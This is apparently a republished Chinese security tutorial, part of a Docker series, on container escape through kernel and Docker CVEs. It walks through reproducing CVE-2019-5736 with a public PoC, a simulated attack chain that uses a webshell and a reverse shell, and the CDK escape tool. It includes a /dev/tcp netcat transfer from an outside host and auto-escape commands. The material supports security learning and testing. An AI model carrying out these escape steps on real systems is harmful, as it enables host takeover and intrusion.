【云安全】云原生-Docker(五)容器逃逸之漏洞利用

漏洞利用逃逸

通過漏洞利用實現逃逸,主要分為以下兩種方式:

1、操作系統層面的內核漏洞

這是利用宿主機操作系統內核中的安全漏洞,直接突破容器的隔離機制,獲得宿主機的權限。

攻擊原理:容器本質上是通過 Linux 的 cgroups 和 namespace 提供隔離,而這些功能依賴于內核。因此,內核漏洞可能被用來突破隔離,攻擊者可以直接訪問宿主機。

常用漏洞:

  • Dirty COW (CVE-2016-5195):Linux 內核的寫時復制 (Copy-On-Write) 漏洞,攻擊者可以通過漏洞實現提權,影響宿主機。
  • OverlayFS 漏洞 (如 CVE-2021-3493):OverlayFS 文件系統中的權限校驗漏洞,允許容器突破文件系統限制訪問宿主機。
  • 權限提升漏洞 (如 CVE-2022-0847):又名“Dirty Pipe”,允許攻擊者通過文件寫入操作實現提權。
  • 其它:CVE-2019-16884、CVE-2021-22555、CVE-2022-0492、CVE-2022-23222等

系統內核漏洞并非 Docker 容器逃逸的“專屬”利用方式,而是通用的一種權限提升技術。在 Web 安全或本地提權攻擊場景中,內核漏洞同樣可以被用來獲取更高的系統權限。本章節屬于云安全Docker內容,因此,內核漏洞的利用本文不做具體討論。

2、Docker自身版本漏洞

Docker 本身作為容器管理工具,可能存在漏洞或實現上的不足,攻擊者可以通過漏洞逃逸出容器環境,直接控制宿主機。

?

常用漏洞:

CVE-2019-5736

攻擊者通過覆蓋容器內的 runc 二進制文件,可以執行任意代碼并控制宿主機。

利用條件

(1)版本:Docker version <= 18.09.2,RunC version <= 1.0-rc6?

(2)需要管理員再次進入容器觸發

漏洞復現

a.首先卸載原有docker

sudo apt-get purge -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin docker-ce-rootless-extras
sudo rm -rf /var/lib/docker
sudo rm -rf /var/lib/containerd
sudo rm /etc/apt/sources.list.d/docker.list
sudo rm /etc/apt/keyrings/docker.asc

b.安裝漏洞對應版本

apt-get update
apt-get install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=18.06.1~ce~3-0~ubuntu

c.編譯exp ,項目地址

https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go

下載EXP后修改

使用如下命令進行編譯EXP

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

d.準備另一臺主機進行監聽,上傳EXP到容器,執行

e. 模擬管理員進入容器,觸發EXP執行,成功反彈shell,復現完畢

模擬實戰

受害者搭建網站

攻擊者發現存在 Spring Cloud Gateway 命令執行漏洞

發現是容器root權限

植入內存馬,使用哥斯拉連接

使用哥斯拉的遠程下載功能,下載EXP,并賦予執行權限

監聽、執行→管理員進入容器→成功逃逸

CVE-2020-15257

該漏洞出現在 containerd 的 CRI plugin(容器運行時接口插件)中。攻擊者可以通過創建特定配置的容器,將 cgroups(控制組)的 pids.max 參數設置為無效值。當 containerd 嘗試寫入這個值時,會導致內核返回錯誤。這可能使 containerd 的內部機制中斷,從而允許攻擊者進一步利用該錯誤實現權限提升。

利用條件

(1)版本:containerd < 1.4.3,containerd < 1.3.9(不含1.3.9 和 1.4.3

(2)容器權限為root,且以 --net=host 模式啟動

模擬復現

a. 受害者安裝的containerd版本為漏洞版本

apt-get update
apt-get install ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1

b.受害者基于以上環境搭建的網站,存在struts2漏洞

c. 攻擊者發現漏洞。執行命令,發現是容器環境,權限為容器root

d.攻擊者反彈shell后,在受害者容器內下載CDK項目

e.后續利用,搜尋教程和資料說是可以借助自動化項目CDK進行容器逃逸。但是,不知道哪里出了問題,該漏洞我未能復現成功,猜測是各大云廠商做了安全優化,一路上各種報錯,如果哪位大佬知道其中的緣由,還望告知!

自動化項目:CDK

項目鏈接:
GitHub - cdk-team/CDK: 📦 Make security testing of K8s, Docker, and Containerd easier.

CDK是一款為容器環境定制的滲透測試工具,在已攻陷的容器內部提供零依賴的常用命令及PoC/EXP。集成Docker/K8s場景特有的 逃逸、橫向移動、持久化利用方式,插件化管理。?

下載/植入
  • 在目標容器內直接wget或者curl
  • 通過公網主機nc重定向
A主機:nc -lvp 999 < cdk
B主機:cat < /dev/tcp/A主機IP/999 > cdk

?

功能模塊
  • Evaluate: 容器內部信息收集,以發現潛在的弱點便于后續利用。
  • Exploit: 提供容器逃逸、持久化、橫向移動等利用方式。
  • Tool: 修復滲透過程中常用的linux命令以及與Docker/K8s API交互的命令。
使用測試

以特權模式啟動一個容器

在容器中下載CDK

信息收集

./cdk eva

發現特權模式

特權模式利用

 ./cdk run mount-disk

使用自動逃逸也是沒問題的

 ./cdk  auto-escape id

Ps:該項目還是很強大的,經測試,特權模式、危險掛載均可以檢查并利用,師傅們可自行測試

結尾

至此,Docker安全問題分析結束,下一篇開始,討論容器編排工具k8s的安全問題

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/67007.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/67007.shtml
英文地址,請注明出處:http://en.pswp.cn/web/67007.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

如何優化深度學習模型來提高錯別字檢測準確率?

為了優化深度學習模型以提高錯別字檢測的準確率,可以從以下幾個方面入手: 1. 數據增強 數據增強是提高模型泛化能力的有效方法。通過在訓練數據中引入噪聲,模型可以學習到更多變的模式,從而提高對未見數據的識別能力。 刪除字符:以一定概率刪除文本中的一個字符。增加字…

二叉搜索樹中的搜索(力扣700)

首先介紹一下什么是二叉搜索樹。 二叉搜索樹是一個有序樹&#xff1a; 若它的左子樹不空&#xff0c;則左子樹上所有結點的值均小于它的根結點的值&#xff1b;若它的右子樹不空&#xff0c;則右子樹上所有結點的值均大于它的根結點的值&#xff1b;它的左、右子樹也分別為二叉…

pytest自動化測試 - 構造“預置條件”的幾種方式

<< 返回目錄 1 pytest自動化測試 - 構造“預置條件”的幾種方式 1.1 使用夾具構造預置條件 在夾具章節中&#xff0c;我們介紹了夾具的作用&#xff0c;其中一項就是構造預置條件。pytest.fixture裝飾器中如果測試數據使用yield返回&#xff0c;則yield前的語句為預置條…

微信小程序date picker的一些說明

微信小程序的picker是一個功能強大的組件&#xff0c;它可以是一個普通選擇器&#xff0c;也可以是多項選擇器&#xff0c;也可以是時間、日期、省市區選擇器。 官方文檔在這里 這里講一下date picker的用法。 <view class"section"><view class"se…

[java] 面向對象進階篇1--黑馬程序員

目錄 static 靜態變量及其訪問 實例變量及其訪問 靜態方法及其訪問 實例方法及其訪問 總結 繼承 作用 定義格式 示例 總結 子類不能繼承的內容 繼承后的特點 成員變量 成員變量不重名 成員變量重名 super訪問父類成員變量 成員方法 成員方法不重名 成員方法…

python3+TensorFlow 2.x 基礎學習(一)

目錄 TensorFlow 2.x基礎 1、安裝 TensorFlow 2.x 2、TensorFlow 2.x 基礎概念 2、1 Eager Execution 2、2 TensorFlow 張量&#xff08;Tensor&#xff09; 3、使用Keras構建神經網絡模型 3、1 構建 Sequential 模型 3、2 編譯模型 1、Optimizer&#xff08;優化器&a…

AI News(1/21/2025):OpenAI 安全疏忽:ChatGPT漏洞引發DDoS風險/OpenAI 代理工具即將發布

1、OpenAI 的安全疏忽&#xff1a;ChatGPT API 漏洞引發DDoS風險 德國安全研究員 Benjamin Flesch 發現了一個嚴重的安全漏洞&#xff1a;攻擊者可以通過向 ChatGPT API 發送一個 HTTP 請求&#xff0c;利用 ChatGPT 的爬蟲對目標網站發起 DDoS 攻擊。該漏洞源于 OpenAI 在處理…

openlava/LSF 用戶組管理腳本

背景 在openlava運維中經常需要自動化一些常規操作&#xff0c;比如增加用戶組以及組成員、刪除用戶組成員、刪除用戶組等。而openlava的配置文件需要手動修改&#xff0c;然后再通過badmin reconfig激活配置。因此開發腳本將手工操作自動化就很有必要。 通過將腳本中的User…

LLMs的星辰大海:大語言模型的前世今生

文章目錄 一. LLM 的演進&#xff1a;從規則到智能的躍遷 &#x1f4ab;1.1 語言模型的蹣跚起步 &#x1f476;1.2 RNN 與 LSTM&#xff1a;序列建模的嘗試 &#x1f9d0;1.3 Transformer 的橫空出世&#xff1a;自注意力機制的革命 &#x1f4a5;1.4 LLM &#xff1a;從預測到…

7-Zip高危漏洞CVE-2025-0411:解析與修復

7-Zip高危漏洞CVE-2025-0411&#xff1a;解析與修復 免責聲明 本系列工具僅供安全專業人員進行已授權環境使用&#xff0c;此工具所提供的功能只為網絡安全人員對自己所負責的網站、服務器等&#xff08;包括但不限于&#xff09;進行檢測或維護參考&#xff0c;未經授權請勿利…

數據結構(精講)----樹(應用篇)

特性&#xff1a; 什么是樹&#xff1a; 樹(Tree)是(n>0)個節點的有限集合T&#xff0c;它滿足兩個條件&#xff1a; (1) 有且僅有一個特定的稱為根&#xff08;Root&#xff09;的節點。 (2) 其余的節點可以分為m&#xff08;m≥0&#xff09;個互不相交的有限集合T1、…

【動態規劃】--- 斐波那契數模型

Welcome to 9ilks Code World (??? ? ???) 個人主頁: 9ilk (??? ? ???) 文章專欄&#xff1a; 算法Journey &#x1f3e0; 第N個泰波那契數模型 &#x1f4cc; 題目解析 第N個泰波那契數 題目要求的是泰波那契數&#xff0c;并非斐波那契數。 &…

如何確保Spring單例Bean在高并發環境下的安全性?

在Spring中&#xff0c;單例Bean就像是一個“公共的水杯”&#xff0c;整個應用程序中的所有線程都會共享這一個實例。在大部分情況下&#xff0c;這沒什么問題&#xff0c;但如果多個線程同時想要修改這個“水杯”里的內容&#xff0c;就可能會出現問題了。 想象一下&#xff…

期刊審稿意見回復的LaTeX模板分享

下載網址 https://github.com/NeuroDong/Latex_for_review_comments 效果展示 分享內容 在學術寫作過程中&#xff0c;回復審稿意見是一個重要且繁瑣的環節。由于審稿人眾多&#xff0c;使用Word進行排版往往效率低下。為了提高效率&#xff0c;我在網上找到了一個LaTeX模板…

Vue 3 30天精進之旅:Day 03 - Vue實例

引言 在前兩天的學習中&#xff0c;我們成功搭建了Vue.js的開發環境&#xff0c;并創建了我們的第一個Vue項目。今天&#xff0c;我們將深入了解Vue的核心概念之一——Vue實例。通過學習Vue實例&#xff0c;你將理解Vue的基礎架構&#xff0c;掌握數據綁定、模板語法和指令的使…

在Vue中,<img> 標簽的 src 值

1. 直接指定 src 的值&#xff08;適用于網絡圖片&#xff09; 如果你使用的是網絡圖片&#xff08;即圖片的URL是完整的HTTP或HTTPS鏈接&#xff09;&#xff0c;可以直接指定 src 的值&#xff1a; vue 復制 <template><div><img src"https://exampl…

Spring Boot/MVC

一、Spring Boot的創建 1.Spring Boot簡化Spring程序的開發,使用注解和配置的方式開發 springboot內置了tomact服務器 tomact:web服務器,默認端口號8080,所以訪問程序使用8080 src/main/java:Java源代碼 src/main/resource:靜態資源或配置文件,存放前端代碼(js,css,html) s…

Spring--SpringMVC的調用流程

一.簡介 1.1主要作用 SSM框架構建起單的技術棧需求&#xff01;其中的SpringMVC負責表述層&#xff08;控制層&#xff09;實現簡化&#xff01; 最終總結&#xff1a; 1. 簡化前端參數接收( 形參列表 )2. 端數據響應(返回值)1.2核心組件和調用流程 Spring MVC與許多其他Web…

C#集合排序的三種方法(List<T>.Sort、LINQ 的 OrderBy、IComparable<T> 接口)

見過不少人、經過不少事、也吃過不少苦&#xff0c;感悟世事無常、人心多變&#xff0c;靠著回憶將往事串珠成鏈&#xff0c;聊聊感情、談談發展&#xff0c;我慢慢寫、你一點一點看...... 1、使用 List<T>.Sort 方法與自定義比較器 public class Person{public string …

從ChatGPT熱潮看智算崛起

2025年1月7日&#xff0c;科智咨詢發布《2025年IDC產業七大發展趨勢》&#xff0c;其中提到“ChatGPT開啟生成式AI熱潮&#xff0c;智能算力需求暴漲&#xff0c;算力供給結構發生轉變”。 【圖片來源于網絡&#xff0c;侵刪】 為何會以ChatGPT發布為節點呢&#xff1f;咱們一起…